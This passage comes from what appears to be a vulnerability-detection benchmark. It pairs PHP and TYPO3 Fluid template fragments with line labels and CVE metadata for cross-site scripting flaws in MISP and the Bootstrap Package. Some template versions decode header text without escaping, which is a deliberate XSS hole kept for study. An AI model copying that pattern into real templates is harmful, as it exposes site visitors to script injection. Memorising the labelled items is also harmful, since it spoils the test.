$this->redirect($url);\n }\n }\n }", " public function admin_generateuuid()\n {\n $this->set('uuid', CakeText::uuid());\n $this->set('_serialize', array('uuid'));\n }", " public function view($id)\n {\n if (is_numeric($id)) {\n $conditions = ['Organisation.id' => $id];\n } else if (Validation::uuid($id)) {\n $conditions = ['Organisation.uuid' => $id];\n } else {\n $conditions = ['Organisation.name' => urldecode($id)];\n }", " if ($this->request->is('head')) { // Just check if org exists and user can access it\n $org = $this->Organisation->find('first', array(\n 'conditions' => $conditions,\n 'recursive' => -1,\n 'fields' => ['id'],\n ));\n $exists = $org && $this->Organisation->canSee($this->Auth->user(), $org['Organisation']['id']);\n return new CakeResponse(['status' => $exists ? 200 : 404]);\n }", " $fields = ['id', 'name', 'date_created', 'date_modified', 'type', 'nationality', 'sector', 'contacts', 'description', 'local', 'uuid', 'restricted_to_domain', 'created_by'];\n if ($this->_isRest()) {\n $this->Organisation->addCountField('user_count', $this->User, ['User.org_id = Organisation.id']);\n $fields[] = 'user_count';\n }", " $org = $this->Organisation->find('first', array(\n 'conditions' => $conditions,\n 'recursive' => -1,\n 'fields' => $fields,\n ));\n if (!$org || !$this->Organisation->canSee($this->Auth->user(), $org['Organisation']['id'])) {\n throw new NotFoundException(__('Invalid organisation'));\n }", " $fullAccess = $this->_isSiteAdmin() || ($this->_isAdmin() && $this->Auth->user('Organisation')['id'] == $org['Organisation']['id']);\n if ($fullAccess) {\n $creator = $this->Organisation->User->find('first', array(\n 'conditions' => array('User.id' => $org['Organisation']['created_by']),\n 'fields' => array('email'),\n 'recursive' => -1\n ));\n if (!empty($creator)) {\n $org['Organisation']['created_by_email'] = $creator['User']['email'];\n }\n } else {\n unset($org['Organisation']['created_by']);\n }", " if ($this->_isRest()) {\n return $this->RestResponse->viewData($org, $this->response->type());\n }", " $org['Organisation']['country_code'] = $this->Organisation->getCountryCode($org['Organisation']['nationality']);\n $this->set('local', $org['Organisation']['local']);\n $this->set('fullAccess', $fullAccess);\n $this->set('org', $org);\n $this->set('id', $org['Organisation']['id']);\n $this->set('title_for_layout', __('Organisation %s', $org['Organisation']['name']));\n }", " public function fetchOrgsForSG($idList = '{}', $type)\n {\n if ($type === 'local') {\n $local = 1;\n } else {\n $local = 0;\n }\n $idList = json_decode($idList, true);\n $id_exclusion_list = array_merge($idList, array($this->Auth->user('Organisation')['id']));\n $orgs = $this->Organisation->find('list', array(\n 'conditions' => array(\n 'local' => $local,\n 'id !=' => $id_exclusion_list,\n ),\n 'recursive' => -1,\n 'fields' => array('id', 'name'),\n 'order' => array('lower(name) ASC')\n ));\n $this->set('local', $local);\n $this->layout = false;\n $this->autoRender = false;\n $this->set('orgs', $orgs);\n $this->render('ajax/fetch_orgs_for_sg');\n }", " public function fetchSGOrgRow($id, $removable = false, $extend = false)\n {\n $this->layout = false;\n $this->autoRender = false;", " $this->set('id', (int)$id);", " $this->set('removable', $removable);\n $this->set('extend', $extend);\n $this->render('ajax/sg_org_row_empty');\n }", " /**\n * @deprecated Probably not used anywhere.\n */\n public function getUUIDs()\n {\n if (Configure::read('Security.hide_organisation_index_from_users')) {\n throw new MethodNotAllowedException(__('This action is not enabled on this instance.'));\n }\n $temp = $this->Organisation->find('all', array(\n 'recursive' => -1,\n 'conditions' => array('local' => 1),\n 'fields' => array('Organisation.uuid')\n ));\n $orgs = array();\n foreach ($temp as $t) {\n $orgs[] = $t['Organisation']['uuid'];\n }\n return new CakeResponse(array('body'=> json_encode($orgs), 'type' => 'json'));\n }", " public function admin_merge($id, $target_id = false)\n {\n if (!$this->_isSiteAdmin()) {\n throw new MethodNotAllowedException(__('You are not authorised to do that.'));\n }\n if ($this->request->is('Post')) {\n $result = $this->Organisation->orgMerge($id, $this->request->data, $this->Auth->user());\n if ($result) {\n $this->Flash->success(__('The organisation has been successfully merged.'));\n $this->redirect(array('admin' => false, 'action' => 'view', $result));\n } else {\n $this->Flash->error(__('There was an error while merging the organisations. To find out more about what went wrong, refer to the audit logs. If you would like to revert the changes, you can find a .sql file'));\n }\n $this->redirect(array('admin' => false, 'action' => 'index'));\n } else {\n $currentOrg = $this->Organisation->find('first', array('fields' => array('id', 'name', 'uuid', 'local'), 'recursive' => -1, 'conditions' => array('Organisation.id' => $id)));\n $orgs['local'] = $this->Organisation->find('all', array(\n 'fields' => array('id', 'name', 'uuid'),\n 'conditions' => array('Organisation.id !=' => $id, 'Organisation.local' => 1),\n 'order' => 'lower(Organisation.name) ASC'\n ));\n $orgs['external'] = $this->Organisation->find('all', array(\n 'fields' => array('id', 'name', 'uuid'),\n 'conditions' => array('Organisation.id !=' => $id, 'Organisation.local' => 0),\n 'order' => 'lower(Organisation.name) ASC'\n ));\n foreach (array('local', 'external') as $type) {\n $orgOptions[$type] = Hash::combine($orgs[$type], '{n}.Organisation.id', '{n}.Organisation.name');\n $orgs[$type] = Hash::combine($orgs[$type], '{n}.Organisation.id', '{n}');\n }\n if (!empty($target_id)) {\n $target = array();\n foreach (array('local', 'external') as $type) {\n foreach ($orgOptions[$type] as $k => $v) {\n if ($k == $target_id) {\n $target = array('id' => $k, 'type' => $type);\n }\n }\n }\n if (!empty($target)) {\n $this->set('target', $target);\n }\n }\n $this->set('orgs', json_encode($orgs));\n $this->set('orgOptions', $orgOptions);\n $this->set('currentOrg', $currentOrg);\n $this->layout = false;\n $this->autoRender = false;\n $this->render('ajax/merge');\n }\n }", " /**\n * @return bool\n */\n private function __uploadLogo($orgId)\n {\n if (!isset($this->request->data['Organisation']['logo']['size'])) {\n return false;\n }", " $logo = $this->request->data['Organisation']['logo'];\n if ($logo['size'] > 0 && $logo['error'] == 0) {\n $extension = pathinfo($logo['name'], PATHINFO_EXTENSION);\n $filename = $orgId . '.' . ($extension === 'svg' ? 'svg' : 'png');", " if ($extension === 'svg' && !Configure::read('Security.enable_svg_logos')) {\n $this->Flash->error(__('Invalid file extension, SVG images are not allowed.'));\n return false;\n }", " if (!empty($logo['tmp_name']) && is_uploaded_file($logo['tmp_name'])) {\n return move_uploaded_file($logo['tmp_name'], APP . 'webroot/img/orgs/' . $filename);\n }\n }", " return false;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [396], "buggy_code_start_loc": [395], "filenames": ["app/Controller/OrganisationsController.php"], "fixing_code_end_loc": [396], "fixing_code_start_loc": [395], "message": "An issue was discovered in MISP before 2.4.158. There is XSS in app/Controller/OrganisationsController.php in a situation with a \"weird single checkbox page.\"", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:*", "matchCriteriaId": "C6216C19-9CB8-451D-AC18-0D849429EE09", "versionEndExcluding": "2.4.158", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "An issue was discovered in MISP before 2.4.158. There is XSS in app/Controller/OrganisationsController.php in a situation with a \"weird single checkbox page.\""}, {"lang": "es", "value": "Se ha detectado un problema en MISP versiones anteriores a 2.4.158. Se presenta una vulnerabilidad de tipo XSS en el componente app/Controller/OrganisationsController.php en una situaci\u00f3n con un \"weird single checkbox page.\""}], "evaluatorComment": null, "id": "CVE-2022-29533", "lastModified": "2022-04-27T03:56:31.130", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-04-20T23:15:08.643", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/MISP/MISP/commit/ce6bc88e330f5ef50666b149d86c0d94f545f24e"}, {"source": "cve@mitre.org", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/MISP/MISP/compare/v2.4.157...v2.4.158"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/MISP/MISP/commit/ce6bc88e330f5ef50666b149d86c0d94f545f24e"}, "type": "CWE-79"}
133
Determine whether the {function_name} code is vulnerable or not.
[ "<div class=\"valign\">\n <div class=\"vcontainer\">\n <div class=\"carousel-box\">\n <f:if condition=\"{item.data.nav_title}\">\n <div>{item.data.nav_title}</div>\n </f:if>", " <h{item.data.header_layout} class=\"carousel-item-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.header}</f:format.htmlentitiesDecode></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-item-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.subheader}</f:format.htmlentitiesDecode></h{item.data.subheader_layout}>", " </f:if>\n <f:if condition=\"{item.data.bodytext}\">\n <div class=\"carousel-item-bodytext\">\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n </f:if>\n <f:if condition=\"{item.data.link}\">\n <f:link.typolink parameter=\"{item.data.link}\" class=\"carousel-item-button btn btn-primary\" additionalAttributes=\"{draggable:'false'}\">\n <f:if condition=\"{item.data.button_text}\">\n <f:then>\n <span>{item.data.button_text}</span>\n </f:then>\n <f:else>\n <span><f:translate key=\"readmore\" extensionName=\"bootstrap_package\" /></span>\n </f:else>\n </f:if>\n </f:link.typolink>\n </f:if>\n </div>\n </div>\n</div>" ]
[ 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<div class=\"valign\">\n <div class=\"vcontainer\">\n <div class=\"carousel-box\">\n <f:if condition=\"{item.data.nav_title}\">\n <div>{item.data.nav_title}</div>\n </f:if>", " <h{item.data.header_layout} class=\"carousel-item-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.header}</f:format.htmlspecialchars></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-item-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.subheader}</f:format.htmlspecialchars></h{item.data.subheader_layout}>", " </f:if>\n <f:if condition=\"{item.data.bodytext}\">\n <div class=\"carousel-item-bodytext\">\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n </f:if>\n <f:if condition=\"{item.data.link}\">\n <f:link.typolink parameter=\"{item.data.link}\" class=\"carousel-item-button btn btn-primary\" additionalAttributes=\"{draggable:'false'}\">\n <f:if condition=\"{item.data.button_text}\">\n <f:then>\n <span>{item.data.button_text}</span>\n </f:then>\n <f:else>\n <span><f:translate key=\"readmore\" extensionName=\"bootstrap_package\" /></span>\n </f:else>\n </f:if>\n </f:link.typolink>\n </f:if>\n </div>\n </div>\n</div>" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:link.typolink parameter=\"{item.data.link}\" additionalAttributes=\"{draggable:'false'}\">\n <div class=\"valign\" {f:if(condition: item.data.text_color,then:'style=\"color: {item.data.text_color};\"')}>\n <div class=\"vcontainer\">\n <div class=\"carousel-text-inner\">", " <h{item.data.header_layout} class=\"carousel-header awesome{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.header}</f:format.htmlentitiesDecode></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-subheader awesome{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.subheader}</f:format.htmlentitiesDecode></h{item.data.subheader_layout}>", " </f:if>\n </div>\n </div>\n </div>\n</f:link.typolink>\n</html>" ]
[ 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": 